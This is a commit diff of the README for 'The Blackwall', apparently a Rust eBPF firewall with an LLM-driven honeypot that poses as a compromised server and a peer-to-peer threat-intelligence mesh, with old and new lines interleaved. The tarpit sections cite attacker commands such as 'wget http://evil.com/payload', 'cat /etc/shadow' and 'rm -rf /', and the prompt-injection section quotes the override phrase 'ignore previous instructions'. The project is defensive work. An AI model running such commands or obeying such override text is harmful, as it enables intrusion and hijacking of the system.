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[hivemind] add live bootstrap node addresses + update READMEs
This commit is contained in:
Vladyslav Soliannikov
parent
b9fc8d3f26
commit
a987991dec
4 changed files with 781 additions and 544 deletions
407
README.md
407
README.md
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@ -8,15 +8,16 @@
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<p align="center">
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<img src="https://readme-typing-svg.herokuapp.com?font=JetBrains+Mono&weight=800&size=45&duration=3000&pause=1000&color=FF0000¢er=true&vCenter=true&width=600&lines=THE+BLACKWALL" alt="The Blackwall">
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<br>
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<em>Adaptive eBPF Firewall with AI Honeypot</em>
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<em>Adaptive eBPF Firewall with AI Honeypot & P2P Threat Mesh</em>
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</p>
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# The Blackwall — I wrote a smart firewall because Cyberpunk 2077 broke my brain
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# The Blackwall — I built a real Blackwall because Cyberpunk 2077 broke my brain
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<p align="center">
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<img src="https://img.shields.io/badge/language-Rust-orange?style=for-the-badge&logo=rust" />
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<img src="https://img.shields.io/badge/kernel-eBPF%2FXDP-blue?style=for-the-badge" />
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<img src="https://img.shields.io/badge/AI-Ollama%20LLM-green?style=for-the-badge" />
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<img src="https://img.shields.io/badge/P2P-libp2p-purple?style=for-the-badge" />
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<img src="https://img.shields.io/badge/vibe-Cyberpunk-red?style=for-the-badge" />
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</p>
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@ -27,143 +28,183 @@
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<p align="center">
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<strong>Currently building enterprise-grade AI automation at <a href="https://dokky.com.ua">Dokky</a></strong><br>
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<strong>Open for Enterprise Consulting & Y-Combinator talks: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
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<strong>Enterprise licensing & consulting: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
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</p>
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---
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**TL;DR:** I was playing Cyberpunk 2077 and thought: *"What if the Blackwall was real?"* So I wrote an adaptive eBPF firewall with an AI honeypot that pretends to be a compromised Linux server.
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**~18,000 lines of Rust. Zero `unwrap()`s. One person.**
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**TL;DR:** Played Cyberpunk, got inspired, wrote a whole adaptive firewall that works inside the Linux kernel, catches threats with AI, traps attackers in a fake server powered by an LLM, and shares threat intel over a decentralized P2P mesh.
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**~21k lines of Rust. 298 tests. 10 crates. One person.**
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---
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## What is it?
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In Cyberpunk 2077 lore, the **Blackwall** is a digital barrier built by NetWatch to separate the civilized Net from rogue AIs — digital entities so dangerous that just looking at them could fry your brain through your neural interface.
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The **Blackwall** — named after the digital barrier from Cyberpunk 2077 that keeps rogue AIs from eating the civilized Net.
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This project is my version. Not against rogue AIs (yet), but against real-world threats.
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This is my version. A multi-layered defense system that doesn't just block threats — it studies them, traps them, and tells every other node what it found.
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**The Blackwall** is an **adaptive network firewall** that:
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Three core layers working together:
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- Runs **inside the Linux kernel** via eBPF/XDP — processing packets at line-rate before they even hit the network stack.
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- Performs **JA4 TLS fingerprinting** — identifying malicious clients by their ClientHello.
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- **Doesn't just block attackers** — it *redirects them into a tarpit*, a fake LLM-powered Linux server playing the role of a compromised `root@web-prod-03`.
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- Features a **behavioral engine** tracking the behavior of each IP address over time — port scanning patterns, beacon connection intervals, entropy anomalies.
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- Supports **distributed mode** — multiple Blackwall nodes exchange threat intelligence peer-to-peer.
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- Captures **PCAP** of suspicious traffic for forensics.
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- Includes a **Deception Mesh** — fake SSH, HTTP (WordPress), MySQL, and DNS services to lure and fingerprint attackers.
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**1. Kernel-level firewall (eBPF/XDP)** — packet analysis happens inside the Linux kernel before traffic even hits the network stack. Nanosecond decisions. Entropy analysis, TLS fingerprinting, deep packet inspection, rate limiting, connection tracking — all running in the BPF virtual machine.
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### The Coolest Part
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**2. AI-powered TCP honeypot (Tarpit)** — instead of just dropping malicious traffic, it gets redirected to a fake Linux server. An LLM simulates bash, responds to commands, serves fake files, acts like a compromised `root@web-prod-03`. Attackers waste their time while everything gets recorded.
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When an attacker connects to the tarpit, they see this:
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**3. P2P threat intelligence mesh (HiveMind)** — nodes discover each other, exchange IoCs over an encrypted libp2p network, vote on threats through consensus, track peer reputation. One node catches a scanner — every node knows about it within seconds.
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```
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Ubuntu 24.04.2 LTS web-prod-03 tty1
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web-prod-03 login: root
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Password:
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Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
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root@web-prod-03:\~\#
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```
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None of this is real. It's an LLM pretending to be a bash shell. It reacts to `ls`, `cat /etc/passwd`, `wget`, even `rm -rf /` — it's all fake, everything is logged, and everything is designed to waste the attacker's time while we study their methods.
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**Imagine: an attacker spends 30 minutes exploring a "compromised server"... which is actually an AI stalling for time while the Blackwall silently records everything.**
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This is V-tier netrunning.
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Plus: distributed sensor controller, enterprise SIEM integration API (STIX/TAXII/Splunk/QRadar/CEF), TUI dashboard, behavioral profiling per IP, threat feed ingestion, PCAP forensics.
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---
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## Architecture — How the ICE Works
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## Architecture
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In Cyberpunk terms:
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**The pipeline:**
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- **XDP** = the first layer of Blackwall ICE — millisecond decisions.
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- **Behavioral Engine** = NetWatch AI surveillance.
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- **Tarpit** = a daemon behind the wall luring netrunners into a fake reality.
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- **Threat Feeds** = intel from fixers all over the Net.
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- **PCAP** = braindance recordings of the intrusion.
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```
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Packet arrives
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→ XDP: entropy check, blocklist/allowlist, CIDR match, rate limit, JA4 capture, DPI
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→ RingBuf (zero-copy) → Userspace daemon
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→ Static rules → Behavioral state machine → JA4 DB lookup → LLM classification
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→ Verdict: PASS / DROP / REDIRECT_TO_TARPIT
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→ eBPF BLOCKLIST map updated in real-time
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→ IoC shared to HiveMind P2P mesh
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```
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---
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## Workspace Crates
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## What Each Crate Does
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| Crate | Lines | Purpose | Cyberpunk Equivalent |
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|-------|-------|-------------|---------------------|
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| `common` | ~400 | `#[repr(C)]` shared types between kernel & userspace | The Contract — what both sides agreed upon |
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| `blackwall-ebpf` | ~1,800 | In-kernel XDP/TC programs | The Blackwall ICE itself |
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| `blackwall` | ~4,200 | Userspace daemon, behavioral engine, AI | NetWatch Command Center |
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| `tarpit` | ~1,600 | TCP honeypot with LLM bash simulation | A daemon luring netrunners |
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| `blackwall-controller` | ~250 | Coordinator for distributed sensors | Arasaka C&C server |
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| `xtask` | ~100 | Build tools | Ripperdoc's toolkit |
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### blackwall-ebpf — The Kernel Layer (1,334 lines)
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**Total: ~8,500 lines of Rust, 48 files, 123 tests, 0 `unwrap()`s in production code.**
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eBPF programs at the XDP hook — the earliest point where a packet can be touched. Runs under strict BPF verifier rules: 512-byte stack, no heap, no floats, bounded loops.
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---
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- **Entropy calculation** — byte frequency analysis, integer-only Shannon entropy (0–7936 scale). High entropy on non-TLS ports → encrypted C2 traffic
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- **TLS fingerprinting** — parses ClientHello, extracts cipher suites, extensions, ALPN, SNI → JA4 fingerprint. One fingerprint covers thousands of bots using the same TLS lib
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- **DPI via tail calls** — `PROG_ARRAY` dispatches protocol-specific analyzers:
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- HTTP: method + URI (catches `/wp-admin`, `/phpmyadmin`, path traversal)
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- DNS: query length + label count (DNS tunneling detection)
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- SSH: banner fingerprinting (`libssh`, `paramiko`, `dropbear`)
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- **DNAT redirect** — suspicious traffic silently NAT'd to the tarpit. Attacker has no idea they left the real server
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- **Connection tracking** — stateful TCP flow monitoring, LRU map (16K entries)
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- **Rate limiting** — per-IP token bucket, prevents flood attacks and RingBuf exhaustion
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- **4 RingBuf channels** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS for different event types
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## Key Features
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Maps: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, plus 4 RingBuf maps.
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### 1. Kernel-Level Packet Processing (XDP)
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### blackwall — The Brain (6,362 lines)
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Packets are analyzed in the eBPF virtual machine before they reach the TCP/IP stack. This means **nanosecond** decisions. HashMap for blocklists, LPM trie for CIDR ranges, entropy analysis for encrypted C2 traffic.
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Main daemon. Loads eBPF programs, consumes RingBuf events, runs the decision pipeline.
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### 2. JA4 TLS Fingerprinting
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- **Rules engine** — static blocklist/allowlist, CIDR ranges from config + feeds
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- **Behavioral state machine** — per-IP profiling: connection frequency, port diversity, entropy distribution, timing analysis. Phases: `New → Suspicious → Malicious → Blocked` (or `→ Trusted`). Beaconing detection via integer CoV
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- **JA4 database** — TLS fingerprint matching against known-bad signatures
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- **AI classification** — Ollama integration, models ≤3B params (Qwen3 1.7B/0.6B). Event batching, structured JSON verdicts with confidence
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- **Threat feeds** — external feed ingestion (Firehol, abuse.ch), periodic refresh
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- **PCAP capture** — forensic recording with rotation + compression
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- **Real-time feedback** — verdicts written back to eBPF BLOCKLIST map
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- **HiveMind bridge** — confirmed IoCs shared to the P2P mesh
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Every TLS ClientHello is parsed in the kernel. Cipher suites, extensions, ALPN, SNI — all hashed into a JA4 fingerprint. Botnets use the same TLS libraries, so their fingerprints are identical. One fingerprint → block thousands of bots.
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### tarpit — The Trap (2,179 lines)
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### 3. Deep Packet Inspection (DPI) via Tail Calls
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A deception layer. Attackers redirected here via DNAT think they've landed on a real box.
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eBPF `PROG_ARRAY` tail calls split processing by protocol:
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- **Protocol auto-detect** — identifies SSH, HTTP, MySQL, DNS from first bytes
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- **Protocol handlers:**
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- SSH: banner, auth flow, PTY session
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- HTTP: fake WordPress, `/wp-admin`, `.env`, realistic headers
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- MySQL: handshake, auth, query responses with fake data
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- DNS: plausible query responses
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- **LLM bash sim** — every shell command → Ollama. `ls -la` returns files, `cat /etc/shadow` returns hashes, `wget` "downloads", `mysql -u root` "connects". The LLM doesn't know it's a honeypot
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- **Exponential jitter** — 1-15 byte chunks, 100ms–30s delay. Maximum time waste
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- **Anti-fingerprinting** — randomized TCP window, TTL, initial delay. Invisible to p0f/Nmap
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- **Prompt injection defense** — 25+ patterns detected, never breaks the sim
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- **Credential canaries** — all entered credentials logged for forensics
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- **Session management** — per-connection state, command history, CWD tracking
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- **HTTP**: Method + URI analysis (suspicious paths like `/wp-admin`, `/phpmyadmin`).
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- **DNS**: Query length + label count (detecting DNS tunneling).
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- **SSH**: Banner analysis (identifying `libssh`, `paramiko`, `dropbear`).
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### hivemind — The Mesh (6,526 lines)
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### 4. AI Threat Classification
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Decentralized threat intelligence built on libp2p.
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When the behavioral engine isn't sure — it asks the LLM. Locally via Ollama using models ≤3B parameters (Qwen3 1.7B, Llama 3.2 3B). It classifies traffic as `benign`, `suspicious`, or `malicious` with structured JSON output.
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- **Transport** — QUIC + Noise encryption, every connection authenticated
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- **Discovery** — Kademlia DHT (global), mDNS (local), configurable seed peers
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- **IoC sharing** — GossipSub pub/sub, propagation across the mesh in seconds
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- **Consensus** — N independent confirmations required. No single-source trust
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- **Reputation** — peers earn rep for good IoCs, lose it for false positives. Bad actors get slashed
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- **Sybil guard** — PoW challenges for new peers, self-ref detection in k-buckets, rate-limited registration
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- **Federated learning** — local model training + FedAvg aggregation, gradient sharing (FHE encryption stub)
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- **Data poisoning defense** — gradient distribution monitoring, model inversion detection
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- **ZKP infrastructure** — Groth16 circuit stubs for trustless IoC verification
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### 5. TCP Tarpit with LLM Bash Simulation
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### hivemind-api — Enterprise Integration (2,711 lines)
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Attackers are redirected to a fake server. The LLM simulates bash — `ls -la` shows files, `cat /etc/shadow` shows hashes, `mysql -u root` connects to a "database". Responses are streamed with random jitter (1-15 byte chunks, exponential backoff) to waste the attacker's time.
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REST API for plugging HiveMind data into enterprise SIEMs.
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### 6. Anti-Fingerprinting
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- **STIX 2.1** — standard threat intel format
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- **TAXII 2.1** — threat exchange protocol
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- **Splunk HEC** — HTTP Event Collector
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- **QRadar LEEF** — Log Event Extended Format
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- **CEF** — Common Event Format
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- **Tiered licensing** — Basic / Professional / Enterprise / NationalSecurity
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- **Live stats** — real-time XDP counters + P2P mesh metrics
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The tarpit randomizes TCP window sizes, TTL values, and adds random initial delays — preventing attackers from identifying it as a honeypot via p0f or Nmap OS detection.
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### hivemind-dashboard — The Monitor (571 lines)
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### 7. Prompt Injection Protection
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TUI dashboard. Pure ANSI — no ratatui, no crossterm, raw escape codes. Polls hivemind-api for live mesh status.
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Attackers who realize they're talking to an AI might try `"ignore previous instructions"`. The system detects 25+ injection patterns and responds with `bash: ignore: command not found`.
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### blackwall-controller — Command & Control (356 lines)
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### 8. Distributed Threat Intelligence
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Multi-sensor management CLI. HMAC-authenticated (PSK). Query stats, list blocked IPs, check health across all your Blackwall nodes from one place.
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Multiple Blackwall nodes exchange blocked IP lists, JA4 observations, and behavioral verdicts via a custom binary protocol. One node detects a scanner → all nodes block it instantly.
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### common — The Contract (1,126 lines)
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### 9. Behavioral State Machine
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`#[repr(C)]` types shared between kernel and userspace: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, counters, base64 utils. The contract that both sides agree on.
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Every IP gets a behavioral profile: connection frequency, port diversity, entropy distribution, timing analysis (beaconing detection via integer coefficient of variation). Phase progression: `New → Suspicious → Malicious → Blocked` (or `→ Trusted`).
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### xtask — Build Tools (46 lines)
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`cargo xtask build-ebpf` — handles nightly + `bpfel-unknown-none` target compilation.
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---
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## Tech Stack
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| Layer | Technology |
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|--------|-----------|
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| Kernel programs | eBPF/XDP via **aya-rs** (pure Rust, no C, no libbpf) |
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| Userspace daemon | **Tokio** (current_thread only) |
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| IPC | **RingBuf** zero-copy (7.5% overhead vs 35% PerfEventArray) |
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| Concurrent maps | **papaya** (lock-free read-heavy HashMap) |
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| AI Inference | **Ollama** + GGUF Q5_K_M quantization |
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| Configuration | **TOML** |
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| Logging | **tracing** structured logging |
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| Build | Custom **xtask** + nightly Rust + `bpfel-unknown-none` target |
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| Layer | Tech | Why |
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|-------|------|-----|
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| Kernel | **aya-rs** (eBPF/XDP) | Pure Rust eBPF — no C, no libbpf |
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| Runtime | **Tokio** (current_thread) | Single-threaded, no overhead |
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| IPC | **RingBuf** | Zero-copy, 7.5% overhead vs PerfEventArray's 35% |
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| Concurrency | **papaya** + **crossbeam** | Lock-free maps + MPMC queues |
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| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS |
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| Crypto | **ring** | ECDSA, SHA256, HKDF, HMAC |
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| HTTP | **hyper** 1.x | Minimal. No web framework |
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| AI | **Ollama** | Local inference, GGUF quantized |
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| Config | **TOML** | Clean, human-readable |
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| Logging | **tracing** | Structured. Zero `println!` in prod |
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**22 dependencies total.** Each one justified. No bloat crates.
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---
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## Deployment
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```
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deploy/
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docker/
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Dockerfile.blackwall # Multi-stage, stripped binary
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Dockerfile.ebpf # Nightly eBPF build
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helm/
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blackwall/ # K8s DaemonSet + ConfigMap
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systemd/
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server/ # Production server units
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laptop/ # Dev/laptop units
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examples/ # Example configs
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healthcheck.sh # Component health checker
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```
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Docker multi-stage builds. Helm chart for K8s (DaemonSet, one per node, `CAP_BPF`). systemd units for bare metal.
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---
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@ -171,51 +212,46 @@ Every IP gets a behavioral profile: connection frequency, port diversity, entrop
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### Prerequisites
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- Linux kernel 5.15+ with BTF (or WSL2 with a custom kernel).
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- Rust nightly + `rust-src` component.
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- `bpf-linker` (`cargo install bpf-linker`).
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- Ollama (for AI features).
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- Linux 5.15+ with BTF (or WSL2 custom kernel)
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- Rust stable + nightly with `rust-src`
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- `bpf-linker` — `cargo install bpf-linker`
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- Ollama (optional, for AI features)
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### Build
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```bash
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# eBPF programs (requires nightly)
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cargo xtask build-ebpf
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# Userspace
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cargo build --release -p blackwall
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# Honeypot
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cargo build --release -p tarpit
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# Lint + tests
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cargo clippy --workspace -- -D warnings
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cargo test --workspace
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````
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cargo xtask build-ebpf # eBPF programs (nightly)
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cargo build --release --workspace # all userspace
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cargo clippy --workspace -- -D warnings # lint
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cargo test --workspace # 298 tests
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```
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### Run
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```bash
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# Daemon (requires root/CAP_BPF)
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sudo RUST_LOG=info ./target/release/blackwall config.toml
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# Tarpit
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RUST_LOG=info ./target/release/tarpit
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# Distributed controller
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./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471
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sudo RUST_LOG=info ./target/release/blackwall config.toml # needs root/CAP_BPF
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RUST_LOG=info ./target/release/tarpit # honeypot
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RUST_LOG=info ./target/release/hivemind # P2P node
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RUST_LOG=info ./target/release/hivemind-api # threat feed API
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./target/release/hivemind-dashboard # TUI
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BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>
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```
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### Configuration
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### Config
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```toml
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[network]
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interface = "eth0"
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xdp_mode = "generic"
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xdp_mode = "generic" # generic / native / offload
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[thresholds]
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entropy_anomaly = 6000 # 0-7936 scale
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[tarpit]
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enabled = true
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port = 9999
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port = 2222
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base_delay_ms = 100
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max_delay_ms = 30000
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[tarpit.services]
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ssh_port = 22
|
||||
|
|
@ -227,6 +263,11 @@ dns_port = 53
|
|||
enabled = true
|
||||
ollama_url = "http://localhost:11434"
|
||||
model = "qwen3:1.7b"
|
||||
fallback_model = "qwen3:0.6b"
|
||||
|
||||
[rules]
|
||||
blocklist = ["1.2.3.4"]
|
||||
allowlist = ["127.0.0.1"]
|
||||
|
||||
[feeds]
|
||||
enabled = true
|
||||
|
|
@ -235,85 +276,125 @@ refresh_interval_secs = 3600
|
|||
[pcap]
|
||||
enabled = true
|
||||
output_dir = "/var/lib/blackwall/pcap"
|
||||
compress_rotated = true
|
||||
|
||||
[distributed]
|
||||
enabled = false
|
||||
mode = "standalone"
|
||||
bind_port = 9471
|
||||
psk = "your-256bit-hex-key"
|
||||
```
|
||||
|
||||
## Visual Results
|
||||
---
|
||||
|
||||
|
||||
## The Tarpit in Action
|
||||
|
||||
-----
|
||||
Connect to the tarpit and you see:
|
||||
|
||||
## Cyberpunk Connection
|
||||
```
|
||||
Ubuntu 24.04.2 LTS web-prod-03 tty1
|
||||
|
||||
In the Cyberpunk 2077 universe, the **Blackwall** was built after the DataKrash of 2022 — when Rache Bartmoss's R.A.B.I.D.S. virus destroyed the old Net. NetWatch built the Blackwall as a barrier to keep out the rogue AIs evolving in the ruins.
|
||||
web-prod-03 login: root
|
||||
Password:
|
||||
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
|
||||
|
||||
Some characters — like Alt Cunningham — exist beyond the Blackwall, transformed into something more than human, less than a living creature.
|
||||
root@web-prod-03:~#
|
||||
```
|
||||
|
||||
This project takes that concept and makes it real (well, almost):
|
||||
None of this is real. The LLM plays bash. `ls` shows files. `cat /etc/passwd` shows users. `mysql -u root -p` connects you. `wget http://evil.com/payload` downloads.
|
||||
|
||||
| Cyberpunk 2077 | The Blackwall (This Project) |
|
||||
|----------------|----------------------------|
|
||||
30 minutes on a server that doesn't exist. Every keystroke recorded. IoCs shared to the mesh.
|
||||
|
||||
---
|
||||
|
||||
## Security Model
|
||||
|
||||
- Every byte from packets = attacker-controlled. All `ctx.data()` bounds-checked
|
||||
- Zero `unwrap()` in prod — `?`, `expect("reason")`, or `match`
|
||||
- Prompt injection: expected. 25+ patterns caught, simulation never breaks
|
||||
- P2P: Sybil guard (PoW + reputation slashing), N-of-M consensus on IoCs
|
||||
- Tarpit: TCP randomization — p0f/Nmap can't fingerprint it
|
||||
- Controller: HMAC-authenticated, no unauthenticated access
|
||||
- Kernel: rate limiting prevents RingBuf exhaustion
|
||||
- Shutdown: cleans up firewall rules, no orphaned iptables state
|
||||
|
||||
---
|
||||
|
||||
## Enterprise Edition
|
||||
|
||||
**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** adds something no one else has: **real-time Agent-to-Agent (A2A) traffic analysis at the kernel level.**
|
||||
|
||||
AI agents are starting to talk to each other — LLM-to-LLM, via MCP, A2A protocol, agent frameworks. This creates a new attack surface: prompt injection through inter-agent communication, intent spoofing, identity theft between agents. Nothing on the market handles this. Blackwall Enterprise is the first and only such module.
|
||||
|
||||
**~8,400 lines of Rust.** Separate repo, separate license.
|
||||
|
||||
| Component | What it does |
|
||||
|-----------|-------------|
|
||||
| **A-JWT Validation** | Agentic JWT verification per IETF draft. Signature check via `ring`, replay prevention, key caching |
|
||||
| **Intent Verification** | Exhaustive field matching — `max_amount`, `allowed_recipients` (glob), action allowlisting |
|
||||
| **Agent Checksum** | SHA256(system_prompt + tools_config) — tampering = instant block |
|
||||
| **Proof-of-Possession** | cnf/jwk ECDSA binding — proves the agent holds its key |
|
||||
| **eBPF Uprobes** | Hooks OpenSSL/GnuTLS `SSL_write`/`SSL_read` — intercepts A2A plaintext without breaking TLS |
|
||||
| **Risk-Based Routing** | Configurable policy: allow / review / block based on risk score |
|
||||
| **ZK Proofs** | Violation attestation without exposing raw traffic (Groth16) |
|
||||
| **P2P Gossip** | Violation proofs broadcast to HiveMind mesh |
|
||||
|
||||
**Licensing:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
|
||||
|
||||
---
|
||||
|
||||
## Stats
|
||||
|
||||
```
|
||||
Language: 100% Rust
|
||||
Total: ~21,200 lines
|
||||
Files: 92 .rs
|
||||
Crates: 10
|
||||
Tests: 298
|
||||
unwrap(): 0 in prod
|
||||
Dependencies: 22 (audited)
|
||||
eBPF stack: ≤ 512 bytes always
|
||||
Clippy: -D warnings, zero issues
|
||||
CI: check + clippy + tests + eBPF nightly build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cyberpunk Reference
|
||||
|
||||
| Cyberpunk 2077 | This Project |
|
||||
|----------------|-------------|
|
||||
| The Blackwall | Kernel-level eBPF/XDP firewall |
|
||||
| ICE | XDP fast-path DROP + entropy + JA4 |
|
||||
| Netrunner attacks | Port scanning, bruteforcing, C2 beaconing |
|
||||
| Daemons beyond the wall | LLM tarpit pretending to be a real server |
|
||||
| NetWatch surveillance | Behavioral engine + per-IP state machine |
|
||||
| Rogue AIs | Botnets and automated scanners |
|
||||
| ICE | XDP fast-path: entropy + JA4 + DPI + DNAT |
|
||||
| Daemons | LLM tarpit — fake server behind the wall |
|
||||
| NetWatch | Behavioral engine + per-IP state machine |
|
||||
| Rogue AIs | Botnets, scanners, C2 beacons |
|
||||
| Braindance recordings | PCAP forensics |
|
||||
| Fixer intel | Threat feeds (Firehol, abuse.ch) |
|
||||
| Arasaka C\&C | Distributed controller |
|
||||
| Netrunner collective | HiveMind P2P mesh |
|
||||
| Fixer intel | Threat feeds |
|
||||
| Arasaka C&C | Distributed controller |
|
||||
|
||||
-----
|
||||
|
||||
## Project Stats
|
||||
|
||||
```
|
||||
Language: 100% Rust (no C, no Python, no shell scripts in prod)
|
||||
Lines of code: ~8,500
|
||||
Files: 48
|
||||
Tests: 123
|
||||
unwrap(): 0 (in production code)
|
||||
Dependencies: 12 (audited, no bloat)
|
||||
eBPF stack: always ≤ 512 bytes
|
||||
Clippy: zero warnings (-D warnings)
|
||||
```
|
||||
|
||||
-----
|
||||
|
||||
## Development Philosophy
|
||||
|
||||
> *"No matter how many times I see Night City... it always takes my breath away."*
|
||||
|
||||
1. **Zero dependencies where possible.** If an algorithm takes less than 500 lines — write it yourself. No `reqwest` (50+ transitive dependencies), no `clap` (overkill for 2 CLI args).
|
||||
2. **Contract first.** The `common` crate defines all shared types. eBPF and userspace never argue about memory layout.
|
||||
3. **No shortcuts in eBPF.** Every `ctx.data()` access has a bounds check. Not just because the verifier demands it, but because every byte from an attacker's packet is hostile input.
|
||||
4. **The tarpit never gives itself away.** The LLM system prompt never mentions the word "honeypot". Prompt injection is expected and guarded against.
|
||||
5. **Observable, but not chatty.** Structured tracing with levels. Zero `println!`s in production.
|
||||
|
||||
-----
|
||||
---
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This is a security research project. Built for your own infrastructure, for defensive purposes. Do not use it to attack others. Do not deploy the tarpit on production servers without understanding the consequences.
|
||||
Security research project. For defending your own infrastructure. Don't use it against others.
|
||||
|
||||
I am not affiliated with CD Projekt Red. I just played their game, and it broke my brain in the best possible way.
|
||||
Not affiliated with CD Projekt Red. Just a game that rewired my brain in the best way possible.
|
||||
|
||||
-----
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
BSL 1.1 — because the Net needs both freedom and sustainable development.
|
||||
**BSL 1.1** (Business Source License)
|
||||
|
||||
-----
|
||||
Licensor: Vladyslav Soliannikov
|
||||
Change Date: April 8, 2030
|
||||
Change License: Apache-2.0
|
||||
|
||||
---
|
||||
|
||||
<p align="center">
|
||||
<strong>If you want to see this evolve further — <a href="https://github.com/xzcrpw/blackwall">Star this repo!</a></strong>
|
||||
<strong>Like what you see? <a href="https://github.com/xzcrpw/blackwall">Star the repo</a></strong>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue